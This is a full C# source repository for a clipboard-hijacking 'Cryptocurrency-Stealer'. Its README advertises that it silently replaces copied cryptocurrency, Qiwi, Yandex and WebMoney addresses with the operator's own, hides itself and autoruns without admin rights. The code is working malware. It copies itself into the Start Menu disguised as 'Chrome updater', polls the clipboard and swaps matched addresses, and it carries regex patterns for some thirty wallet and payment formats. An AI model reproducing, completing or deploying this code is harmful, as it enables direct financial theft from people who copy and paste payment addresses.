├── Stealer
├── Stealer
│ ├── App.config
│ ├── Properties
│ │ ├── Settings.settings
│ │ ├── Settings.Designer.cs
│ │ ├── AssemblyInfo.cs
│ │ ├── Resources.Designer.cs
│ │ └── Resources.resx
│ ├── Modules
│ │ ├── Mutex.cs
│ │ ├── Attributes.cs
│ │ ├── Autorun.cs
│ │ ├── Clipboard.cs
│ │ ├── Monitor.cs
│ │ └── Patterns.cs
│ ├── Program.cs
│ ├── config.cs
│ └── Stealer.csproj
└── Stealer.sln
├── README.md
└── .gitignore
/Stealer/Stealer/App.config:
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1 |
2 |
3 |
4 |
5 |
6 |
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/Stealer/Stealer/Properties/Settings.settings:
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1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
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/README.md:
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1 | # :money_with_wings: Cryptocurrency-Stealer
2 | Replace any BTC, XMR, XLM, ETH, XRP, LTC, BCH, NEC, ZCASH, DASH, DOGE, WMR, WMG, WMX, Yandex money, Qiwi address to yours.
3 |
4 | # :star2: Info
5 | - [X] 10-13~ kilobytes executable
6 | - [X] No admininistrator rights required
7 | - [X] Hide file after start
8 | - [X] Autorun
9 | - [X] Open source
10 |
11 | # :gear: Configuration file
12 |
13 |
14 |
15 |
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/Stealer/Stealer/Modules/Mutex.cs:
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1 | using System;
2 | using System.Threading;
3 |
4 | namespace Stealer.Modules
5 | {
6 | class AppMutex
7 | {
8 | // Check mutex
9 | public static void Check()
10 | {
11 | bool createdNew = false;
12 | // Check
13 | Mutex currentApp = new Mutex(false, config.mutex, out createdNew);
14 | if (!createdNew)
15 | Environment.Exit(1);
16 | }
17 | }
18 | }
19 |
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/Stealer/Stealer/Modules/Attributes.cs:
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1 | using System.IO;
2 |
3 | namespace Stealer.Modules
4 | {
5 | internal sealed class Attributes
6 | {
7 | // File path
8 | private static string executable = System.Reflection.Assembly.GetEntryAssembly().Location;
9 | private static FileInfo file = new FileInfo(executable);
10 |
11 | // Add 'hidden' attribute to file
12 | public static void set_hidden()
13 | {
14 | if (config.attribute_hidden)
15 | file.Attributes |= FileAttributes.Hidden;
16 | }
17 |
18 | // Add 'system' attribute to file
19 | public static void set_system()
20 | {
21 | if (config.attribute_system)
22 | file.Attributes |= FileAttributes.System;
23 | }
24 | }
25 | }
26 |
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/Stealer/Stealer/Modules/Autorun.cs:
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1 | using System;
2 | using System.IO;
3 |
4 | namespace Stealer.Modules
5 | {
6 | internal sealed class Autorun
7 | {
8 | // Autorun path
9 | private static string startup_directory = Environment.GetFolderPath(Environment.SpecialFolder.StartMenu);
10 | private static string executeable = System.Reflection.Assembly.GetEntryAssembly().Location;
11 |
12 | // Check if app installed to autorun
13 |
14 | public static bool is_installed()
15 | {
16 | return File.Exists($"{startup_directory}\\{config.autorun_name}.exe");
17 | }
18 |
19 | // Install app to autorun
20 | public static void install()
21 | {
22 | if (config.autorun_enabled)
23 | File.Copy(executeable, $"{startup_directory}\\{config.autorun_name}.exe");
24 | }
25 | }
26 | }
27 |
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/Stealer/Stealer/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace Stealer
4 | {
5 | static class Program
6 | {
7 | ///
8 | /// The main entry point for the application.
9 | ///
10 | [STAThreadAttribute]
11 | static void Main()
12 | {
13 | // Check mutex
14 | Modules.AppMutex.Check();
15 | // Add to startup
16 | if (!Modules.Autorun.is_installed())
17 | Modules.Autorun.install();
18 |
19 | /* The functions are disabled because if the file is in the startup folder and it is hidden,
20 | then it will not be launched.
21 | // Set hidden & system attribtues
22 | Modules.Attributes.set_hidden();
23 | Modules.Attributes.set_system(); */
24 |
25 | // Start clipper
26 | Modules.ClipboardMonitor.run();
27 | }
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/Stealer/Stealer.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31129.286
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stealer", "Stealer\Stealer.csproj", "{A5261687-D821-486A-B2AC-4D35F1EA2540}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {A5261687-D821-486A-B2AC-4D35F1EA2540}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {A5261687-D821-486A-B2AC-4D35F1EA2540}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {A5261687-D821-486A-B2AC-4D35F1EA2540}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {A5261687-D821-486A-B2AC-4D35F1EA2540}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {0A2B5562-F114-43D7-9E79-A05BDB426BDD}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/Stealer/Stealer/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 |
12 | namespace Stealer.Properties
13 | {
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
17 | {
18 |
19 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
20 |
21 | public static Settings Default
22 | {
23 | get
24 | {
25 | return defaultInstance;
26 | }
27 | }
28 | }
29 | }
30 |
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/Stealer/Stealer/Modules/Clipboard.cs:
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1 | using System.Threading;
2 |
3 | namespace Stealer.Modules
4 | {
5 | internal sealed class Clipboard
6 | {
7 | // Get text from clipboard
8 | public static string GetText()
9 | {
10 | string ReturnValue = string.Empty;
11 | try
12 | {
13 | Thread STAThread = new Thread(
14 | delegate ()
15 | {
16 | ReturnValue = System.Windows.Forms.Clipboard.GetText();
17 | });
18 | STAThread.SetApartmentState(ApartmentState.STA);
19 | STAThread.Start();
20 | STAThread.Join();
21 | }
22 | catch
23 | {
24 |
25 | }
26 | return ReturnValue;
27 | }
28 |
29 | // Set text to clipboard
30 | public static void SetText(string text)
31 | {
32 | Thread STAThread = new Thread(
33 | delegate ()
34 | {
35 | try
36 | {
37 | System.Windows.Forms.Clipboard.SetText(text);
38 | }
39 | catch
40 | {
41 |
42 | }
43 | });
44 | STAThread.SetApartmentState(ApartmentState.STA);
45 | STAThread.Start();
46 | STAThread.Join();
47 | }
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/Stealer/Stealer/Properties/AssemblyInfo.cs:
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1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Stealer")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Stealer")]
13 | [assembly: AssemblyCopyright("Copyright © 2021")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("a5261687-d821-486a-b2ac-4d35f1ea2540")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Stealer/Stealer/Modules/Monitor.cs:
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1 | using System.Collections.Generic;
2 | using System.Text.RegularExpressions;
3 |
4 | namespace Stealer.Modules
5 | {
6 | internal sealed class ClipboardMonitor
7 | {
8 | // Previous clipboard content
9 | private static string previous_buffer = "";
10 |
11 | // Clipboard is changed
12 | private static bool clipboard_changed(string buffer)
13 | {
14 | if (buffer != previous_buffer)
15 | {
16 | previous_buffer = buffer;
17 | return true;
18 | }
19 | return false;
20 | }
21 |
22 | // Find & Replace crypto addresses in clipboard
23 | private static void replace_clipboard(string buffer)
24 | {
25 | if (string.IsNullOrEmpty(buffer))
26 | return;
27 | foreach (KeyValuePair dictonary in RegexPatterns.patterns)
28 | {
29 | string cryptocurrency = dictonary.Key;
30 | Regex pattern = dictonary.Value;
31 | if (pattern.Match(buffer).Success)
32 | {
33 | string replace_to = config.addresses[cryptocurrency];
34 | if (!string.IsNullOrEmpty(replace_to) && !buffer.Equals(replace_to))
35 | {
36 | Clipboard.SetText(replace_to);
37 | return;
38 | }
39 | }
40 | }
41 | }
42 |
43 | // Run loop
44 | public static void run()
45 | {
46 | while (true)
47 | {
48 | string buffer = Clipboard.GetText();
49 | if (clipboard_changed(buffer))
50 | replace_clipboard(buffer);
51 | System.Threading.Thread.Sleep(config.clipboard_check_delay * 1000);
52 | }
53 | }
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/Stealer/Stealer/config.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace Stealer
8 | {
9 | internal sealed class config
10 | {
11 | // Autorun
12 | public static bool autorun_enabled = true;
13 | public static string autorun_name = "Chrome updater";
14 | // Set 'hidden' attribute
15 | public static bool attribute_hidden = true;
16 | // Set 'system' attribute
17 | public static bool attribute_system = true;
18 | // Clipboard check delay in seconds
19 | public static int clipboard_check_delay = 2;
20 | // Replace to
21 | public static Dictionary addresses = new Dictionary()
22 | {
23 | // WebMoney
24 | {"wmr", "" },
25 | {"wmg", "" },
26 | {"wmz", "" },
27 | {"wmh", "" },
28 | {"wmu", "" },
29 | {"wmx", "" },
30 |
31 | // Qiwi
32 | {"qiwiua", "" }, // UA
33 | {"qiwiru", "" }, // RU
34 |
35 | // Yandex money
36 | {"yandex", "" },
37 |
38 | // Steam trade url
39 | {"steam", "" },
40 |
41 | // Cryptocurrency
42 | {"btc", "" }, // Bitcoin
43 | {"eth", "" }, // Ethereum
44 | {"xmr", "" }, // Monero
45 | {"xlm", "" }, // Stellar
46 | {"xrp", "" }, // Ripple
47 | {"ltc", "" }, // Litecoin
48 | {"nec", "" }, // Neocoin
49 | {"bch", "" }, // Bitcoin Cash
50 | {"bcn", "" }, // Bytecoin
51 | {"ada", "" }, // Cardano
52 | {"grft", "" }, // Graft
53 | {"zcash", ""}, // Zcash
54 | {"btg", "" }, // Bitcoin Gold
55 | {"waves", "" }, // Waves
56 | {"rdd", "" }, // ReddCoin
57 | {"blk", "" }, // BlackCoin
58 | {"emc", "" }, // Emercoin
59 | {"strat", "" }, // Stratis
60 | {"qtum", "" }, // Qtum
61 | {"via", "" }, // Viacoin
62 | {"lsk", "" }, // Lisk
63 | {"doge", "" }, // Dogecoin
64 | {"dash", "" } // Dashcoin
65 | };
66 |
67 | // Mutex (random)
68 | public static string mutex = "asuhdvaystdvytasdvtyasvdfctyasd";
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/Stealer/Stealer/Modules/Patterns.cs:
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1 | using System.Collections.Generic;
2 | using System.Text.RegularExpressions;
3 |
4 | namespace Stealer.Modules
5 | {
6 | internal sealed class RegexPatterns
7 | {
8 | public static Dictionary patterns = new Dictionary()
9 | {
10 | // WebMoney
11 | {"wmr", new Regex(@"R[0-9]{12}") },
12 | {"wmg", new Regex(@"G[0-9]{12}") },
13 | {"wmz", new Regex(@"Z[0-9]{12}") },
14 | {"wmh", new Regex(@"H[0-9]{12}") },
15 | {"wmu", new Regex(@"U[0-9]{12}") },
16 | {"wmx", new Regex(@"X[0-9]{12}") },
17 | // Qiwi
18 | {"qiwiua", new Regex(@"380[0-9]{9}") }, // UA
19 | {"qiwiru", new Regex(@"79[0-9]{9}") }, // RU
20 | // Yandex money
21 | {"yandex", new Regex(@"41001[0-9]{10}") },
22 | // Steam trade url
23 | {"steam", new Regex(@"steamcommunity[.]com/tradeoffer/new/[?]partner=[0-9]{9}&token=[A-z0-9_]{8}") },
24 | // Cryptocurrency
25 | {"btc", new Regex(@"(?:^(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}$)") }, // Bitcoin
26 | {"eth", new Regex(@"(?:^0x[a-fA-F0-9]{40}$)") }, // Ethereum
27 | {"xmr", new Regex(@"(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)") }, // Monero
28 | {"xlm", new Regex(@"(?:^G[0-9a-zA-Z]{55}$)") }, // Stellar
29 | {"xrp", new Regex(@"(?:^r[0-9a-zA-Z]{24,34}$)") }, // Ripple
30 | {"ltc", new Regex(@"(?:^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$)") }, // Litecoin
31 | {"nec", new Regex(@"(?:^A[0-9a-zA-Z]{33}$)") }, // Neocoin
32 | {"bch", new Regex(@"^((bitcoincash:)?(q|p)[a-z0-9]{41})") }, // Bitcoin Cash
33 | {"bcn", new Regex(@"2[1-9A-z]{105}") }, // Bytecoin
34 | {"ada", new Regex(@"DdzFFzCqrht[1-9A-z]{93}") }, // Cardano
35 | {"grft", new Regex(@"G[1-9][1-9A-z]{93}") }, // Graft
36 | {"zcash", new Regex(@"t1[0-9A-z]{33}") }, // Zcash
37 | {"btg", new Regex(@"G[A-z][1-9A-z]{32}") }, // Bitcoin Gold
38 | {"waves", new Regex(@"3P[1-9A-z]{33}") }, // Waves
39 | {"rdd", new Regex(@"R[1-9a-z][1-9A-z]{32}") }, // ReddCoin
40 | {"blk", new Regex(@"B[1-9a-z][1-9A-z]{32}") }, // BlackCoin
41 | {"emc", new Regex(@"E[A-z][1-9A-z]{32}") }, // Emercoin
42 | {"strat", new Regex(@"S[A-z][1-9A-z]{32}") }, // Stratis
43 | {"qtum", new Regex(@"Q[A-z][1-9A-z]{32}") }, // Qtum
44 | {"via", new Regex(@"V[a-z][A-z][1-9A-z]{31}") }, // Viacoin
45 | {"lsk", new Regex(@"[0-9]{20}L") }, // Lisk
46 | {"doge", new Regex(@"D[A-Z1-9][1-9A-z]{32}") }, // Dogecoin
47 | {"dash", new Regex(@"(?:^X[1-9A-HJ-NP-Za-km-z]{33}$)") } // Dashcoin
48 | };
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/Stealer/Stealer/Properties/Resources.Designer.cs:
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1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 |
12 | namespace Stealer.Properties
13 | {
14 | ///
15 | /// A strongly-typed resource class, for looking up localized strings, etc.
16 | ///
17 | // This class was auto-generated by the StronglyTypedResourceBuilder
18 | // class via a tool like ResGen or Visual Studio.
19 | // To add or remove a member, edit your .ResX file then rerun ResGen
20 | // with the /str option, or rebuild your VS project.
21 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
22 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
23 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
24 | internal class Resources
25 | {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources()
33 | {
34 | }
35 |
36 | ///
37 | /// Returns the cached ResourceManager instance used by this class.
38 | ///
39 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
40 | internal static global::System.Resources.ResourceManager ResourceManager
41 | {
42 | get
43 | {
44 | if ((resourceMan == null))
45 | {
46 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Stealer.Properties.Resources", typeof(Resources).Assembly);
47 | resourceMan = temp;
48 | }
49 | return resourceMan;
50 | }
51 | }
52 |
53 | ///
54 | /// Overrides the current thread's CurrentUICulture property for all
55 | /// resource lookups using this strongly typed resource class.
56 | ///
57 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
58 | internal static global::System.Globalization.CultureInfo Culture
59 | {
60 | get
61 | {
62 | return resourceCulture;
63 | }
64 | set
65 | {
66 | resourceCulture = value;
67 | }
68 | }
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/Stealer/Stealer/Stealer.csproj:
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1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {A5261687-D821-486A-B2AC-4D35F1EA2540}
8 | WinExe
9 | Stealer
10 | Stealer
11 | v4.5.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 | ResXFileCodeGenerator
60 | Resources.Designer.cs
61 | Designer
62 |
63 |
64 | True
65 | Resources.resx
66 |
67 |
68 | SettingsSingleFileGenerator
69 | Settings.Designer.cs
70 |
71 |
72 | True
73 | Settings.settings
74 | True
75 |
76 |
77 |
78 |
79 |
80 |
81 |
--------------------------------------------------------------------------------
/Stealer/Stealer/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
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/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Aa][Rr][Mm]/
27 | [Aa][Rr][Mm]64/
28 | bld/
29 | [Bb]in/
30 | [Oo]bj/
31 | [Ll]og/
32 | [Ll]ogs/
33 |
34 | # Visual Studio 2015/2017 cache/options directory
35 | .vs/
36 | # Uncomment if you have tasks that create the project's static files in wwwroot
37 | #wwwroot/
38 |
39 | # Visual Studio 2017 auto generated files
40 | Generated\ Files/
41 |
42 | # MSTest test Results
43 | [Tt]est[Rr]esult*/
44 | [Bb]uild[Ll]og.*
45 |
46 | # NUnit
47 | *.VisualState.xml
48 | TestResult.xml
49 | nunit-*.xml
50 |
51 | # Build Results of an ATL Project
52 | [Dd]ebugPS/
53 | [Rr]eleasePS/
54 | dlldata.c
55 |
56 | # Benchmark Results
57 | BenchmarkDotNet.Artifacts/
58 |
59 | # .NET Core
60 | project.lock.json
61 | project.fragment.lock.json
62 | artifacts/
63 |
64 | # StyleCop
65 | StyleCopReport.xml
66 |
67 | # Files built by Visual Studio
68 | *_i.c
69 | *_p.c
70 | *_h.h
71 | *.ilk
72 | *.meta
73 | *.obj
74 | *.iobj
75 | *.pch
76 | *.pdb
77 | *.ipdb
78 | *.pgc
79 | *.pgd
80 | *.rsp
81 | *.sbr
82 | *.tlb
83 | *.tli
84 | *.tlh
85 | *.tmp
86 | *.tmp_proj
87 | *_wpftmp.csproj
88 | *.log
89 | *.vspscc
90 | *.vssscc
91 | .builds
92 | *.pidb
93 | *.svclog
94 | *.scc
95 |
96 | # Chutzpah Test files
97 | _Chutzpah*
98 |
99 | # Visual C++ cache files
100 | ipch/
101 | *.aps
102 | *.ncb
103 | *.opendb
104 | *.opensdf
105 | *.sdf
106 | *.cachefile
107 | *.VC.db
108 | *.VC.VC.opendb
109 |
110 | # Visual Studio profiler
111 | *.psess
112 | *.vsp
113 | *.vspx
114 | *.sap
115 |
116 | # Visual Studio Trace Files
117 | *.e2e
118 |
119 | # TFS 2012 Local Workspace
120 | $tf/
121 |
122 | # Guidance Automation Toolkit
123 | *.gpState
124 |
125 | # ReSharper is a .NET coding add-in
126 | _ReSharper*/
127 | *.[Rr]e[Ss]harper
128 | *.DotSettings.user
129 |
130 | # TeamCity is a build add-in
131 | _TeamCity*
132 |
133 | # DotCover is a Code Coverage Tool
134 | *.dotCover
135 |
136 | # AxoCover is a Code Coverage Tool
137 | .axoCover/*
138 | !.axoCover/settings.json
139 |
140 | # Visual Studio code coverage results
141 | *.coverage
142 | *.coveragexml
143 |
144 | # NCrunch
145 | _NCrunch_*
146 | .*crunch*.local.xml
147 | nCrunchTemp_*
148 |
149 | # MightyMoose
150 | *.mm.*
151 | AutoTest.Net/
152 |
153 | # Web workbench (sass)
154 | .sass-cache/
155 |
156 | # Installshield output folder
157 | [Ee]xpress/
158 |
159 | # DocProject is a documentation generator add-in
160 | DocProject/buildhelp/
161 | DocProject/Help/*.HxT
162 | DocProject/Help/*.HxC
163 | DocProject/Help/*.hhc
164 | DocProject/Help/*.hhk
165 | DocProject/Help/*.hhp
166 | DocProject/Help/Html2
167 | DocProject/Help/html
168 |
169 | # Click-Once directory
170 | publish/
171 |
172 | # Publish Web Output
173 | *.[Pp]ublish.xml
174 | *.azurePubxml
175 | # Note: Comment the next line if you want to checkin your web deploy settings,
176 | # but database connection strings (with potential passwords) will be unencrypted
177 | *.pubxml
178 | *.publishproj
179 |
180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
181 | # checkin your Azure Web App publish settings, but sensitive information contained
182 | # in these scripts will be unencrypted
183 | PublishScripts/
184 |
185 | # NuGet Packages
186 | *.nupkg
187 | # NuGet Symbol Packages
188 | *.snupkg
189 | # The packages folder can be ignored because of Package Restore
190 | **/[Pp]ackages/*
191 | # except build/, which is used as an MSBuild target.
192 | !**/[Pp]ackages/build/
193 | # Uncomment if necessary however generally it will be regenerated when needed
194 | #!**/[Pp]ackages/repositories.config
195 | # NuGet v3's project.json files produces more ignorable files
196 | *.nuget.props
197 | *.nuget.targets
198 |
199 | # Microsoft Azure Build Output
200 | csx/
201 | *.build.csdef
202 |
203 | # Microsoft Azure Emulator
204 | ecf/
205 | rcf/
206 |
207 | # Windows Store app package directories and files
208 | AppPackages/
209 | BundleArtifacts/
210 | Package.StoreAssociation.xml
211 | _pkginfo.txt
212 | *.appx
213 | *.appxbundle
214 | *.appxupload
215 |
216 | # Visual Studio cache files
217 | # files ending in .cache can be ignored
218 | *.[Cc]ache
219 | # but keep track of directories ending in .cache
220 | !?*.[Cc]ache/
221 |
222 | # Others
223 | ClientBin/
224 | ~$*
225 | *~
226 | *.dbmdl
227 | *.dbproj.schemaview
228 | *.jfm
229 | *.pfx
230 | *.publishsettings
231 | orleans.codegen.cs
232 |
233 | # Including strong name files can present a security risk
234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
235 | #*.snk
236 |
237 | # Since there are multiple workflows, uncomment next line to ignore bower_components
238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
239 | #bower_components/
240 |
241 | # RIA/Silverlight projects
242 | Generated_Code/
243 |
244 | # Backup & report files from converting an old project file
245 | # to a newer Visual Studio version. Backup files are not needed,
246 | # because we have git ;-)
247 | _UpgradeReport_Files/
248 | Backup*/
249 | UpgradeLog*.XML
250 | UpgradeLog*.htm
251 | ServiceFabricBackup/
252 | *.rptproj.bak
253 |
254 | # SQL Server files
255 | *.mdf
256 | *.ldf
257 | *.ndf
258 |
259 | # Business Intelligence projects
260 | *.rdl.data
261 | *.bim.layout
262 | *.bim_*.settings
263 | *.rptproj.rsuser
264 | *- [Bb]ackup.rdl
265 | *- [Bb]ackup ([0-9]).rdl
266 | *- [Bb]ackup ([0-9][0-9]).rdl
267 |
268 | # Microsoft Fakes
269 | FakesAssemblies/
270 |
271 | # GhostDoc plugin setting file
272 | *.GhostDoc.xml
273 |
274 | # Node.js Tools for Visual Studio
275 | .ntvs_analysis.dat
276 | node_modules/
277 |
278 | # Visual Studio 6 build log
279 | *.plg
280 |
281 | # Visual Studio 6 workspace options file
282 | *.opt
283 |
284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
285 | *.vbw
286 |
287 | # Visual Studio LightSwitch build output
288 | **/*.HTMLClient/GeneratedArtifacts
289 | **/*.DesktopClient/GeneratedArtifacts
290 | **/*.DesktopClient/ModelManifest.xml
291 | **/*.Server/GeneratedArtifacts
292 | **/*.Server/ModelManifest.xml
293 | _Pvt_Extensions
294 |
295 | # Paket dependency manager
296 | .paket/paket.exe
297 | paket-files/
298 |
299 | # FAKE - F# Make
300 | .fake/
301 |
302 | # CodeRush personal settings
303 | .cr/personal
304 |
305 | # Python Tools for Visual Studio (PTVS)
306 | __pycache__/
307 | *.pyc
308 |
309 | # Cake - Uncomment if you are using it
310 | # tools/**
311 | # !tools/packages.config
312 |
313 | # Tabs Studio
314 | *.tss
315 |
316 | # Telerik's JustMock configuration file
317 | *.jmconfig
318 |
319 | # BizTalk build output
320 | *.btp.cs
321 | *.btm.cs
322 | *.odx.cs
323 | *.xsd.cs
324 |
325 | # OpenCover UI analysis results
326 | OpenCover/
327 |
328 | # Azure Stream Analytics local run output
329 | ASALocalRun/
330 |
331 | # MSBuild Binary and Structured Log
332 | *.binlog
333 |
334 | # NVidia Nsight GPU debugger configuration file
335 | *.nvuser
336 |
337 | # MFractors (Xamarin productivity tool) working folder
338 | .mfractor/
339 |
340 | # Local History for Visual Studio
341 | .localhistory/
342 |
343 | # BeatPulse healthcheck temp database
344 | healthchecksdb
345 |
346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
347 | MigrationBackup/
348 |
349 | # Ionide (cross platform F# VS Code tools) working folder
350 | .ionide/
351 |
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